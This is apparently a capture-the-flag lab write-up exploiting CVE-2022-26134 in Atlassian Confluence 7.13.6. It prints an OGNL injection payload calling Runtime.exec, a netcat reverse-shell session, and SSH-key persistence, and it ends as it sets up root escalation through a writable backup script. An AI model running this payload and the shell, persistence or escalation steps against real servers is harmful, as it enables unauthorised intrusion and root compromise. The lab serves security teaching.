In this lab, learners exploit CVE-2022-26134, a critical Remote Code Execution (RCE) vulnerability in Atlassian Confluence (version 7.13.6). By leveraging OGNL injection, attackers gain initial access to the system, discover misconfigured cron jobs, and escalate privileges to root by manipulating executable scripts.
Browsing port 8090 we get redirected to the Confluence login page. Looking at the page we see it’s version which is 7.13.6.
Looking it up online we see a popular unauthenticated RCE with the number CVE-2022-26134. We will jump straight to the exploit.
First we are going to test the command execution with just ping -c 4 IP and see if we get traffic on our attacker host. In order to do that we need to inject an OGNL payload to the app like this ${@java.lang.Runtime@getRuntime().exec("ping -c 4 IP")}. We are going to place this payload on the URL of the HTTP request and we are going to do a simple GET request.
Info
Object-Graph Navigation Language (OGNL) is an open-source Expression Language (EL) for Java, used to get and set properties of Java objects, execute methods, and manipulate arrays. It is widely used in Java EE web frameworks like Apache Struts for dynamic code evaluation and template rendering, often acting as a bridge between UI components and backend models.
rlwrap nc -lnvp 4444listening on [any]4444 ...
connect to [$ATTACKER] from (UNKNOWN)[$VICTIM]57216pwd/opt/atlassian/confluence/bin
which python3
/usr/bin/python3
python3 -c 'import pty;pty.spawn("/bin/bash")'confluence@flu:/opt/atlassian/confluence/bin$ whoami
whoami
confluence
confluence@flu:/opt/atlassian/confluence/bin$ id
id
uid=1001(confluence)gid=1001(confluence)groups=1001(confluence)confluence@flu:/opt/atlassian/confluence/bin$ pwdpwd/opt/atlassian/confluence/bin
confluence@flu:/opt/atlassian/confluence/bin$
1
2
3
confluence@flu:/home/confluence$ ls
ls
local.txt
That is how we get a shell and we can get the local.txt.
First we are going to make a SSH key pair in order to connect via SSH and have a form of persistence on the host as user confluence.
1
2
3
4
5
6
7
8
9
10
11
12
13
ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/confluence/.ssh/id_rsa): Created directory '/home/confluence/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/confluence/.ssh/id_rsa
Your public key has been saved in /home/confluence/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:shDnqs0z5hN3gKfRFC0WXhbD26Zt8IA2yLeW7yETD6w confluence@flu
We copy it to our kali machine with simple copy past.
Tip
Don’t forget to add the public key to the authorized_keys files!
Looking at the /opt directory immediately we see a log-backup.sh script that is used for backing up the site.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
confluence@flu:/opt$ cat log-backup.sh
cat log-backup.sh
#!/bin/bashCONFLUENCE_HOME="/opt/atlassian/confluence/"LOG_DIR="$CONFLUENCE_HOME/logs"BACKUP_DIR="/root/backup"TIMESTAMP=$(date "+%Y%m%d%H%M%S")# Create a backup of log filescp -r $LOG_DIR$BACKUP_DIR/log_backup_$TIMESTAMPtar -czf $BACKUP_DIR/log_backup_$TIMESTAMP.tar.gz $BACKUP_DIR/log_backup_$TIMESTAMP# Cleanup old backupsfind $BACKUP_DIR -name "log_backup_*" -mmin +5 -exec rm -rf {}\;
Looking at the code we can clearly see that it backups up the data to the root folder which means it needs to run as root. We can see also that we are the owner of the script!
What we will update the script and add a malicious command that we can leverage to getting a root shell.
We will add these two lines:
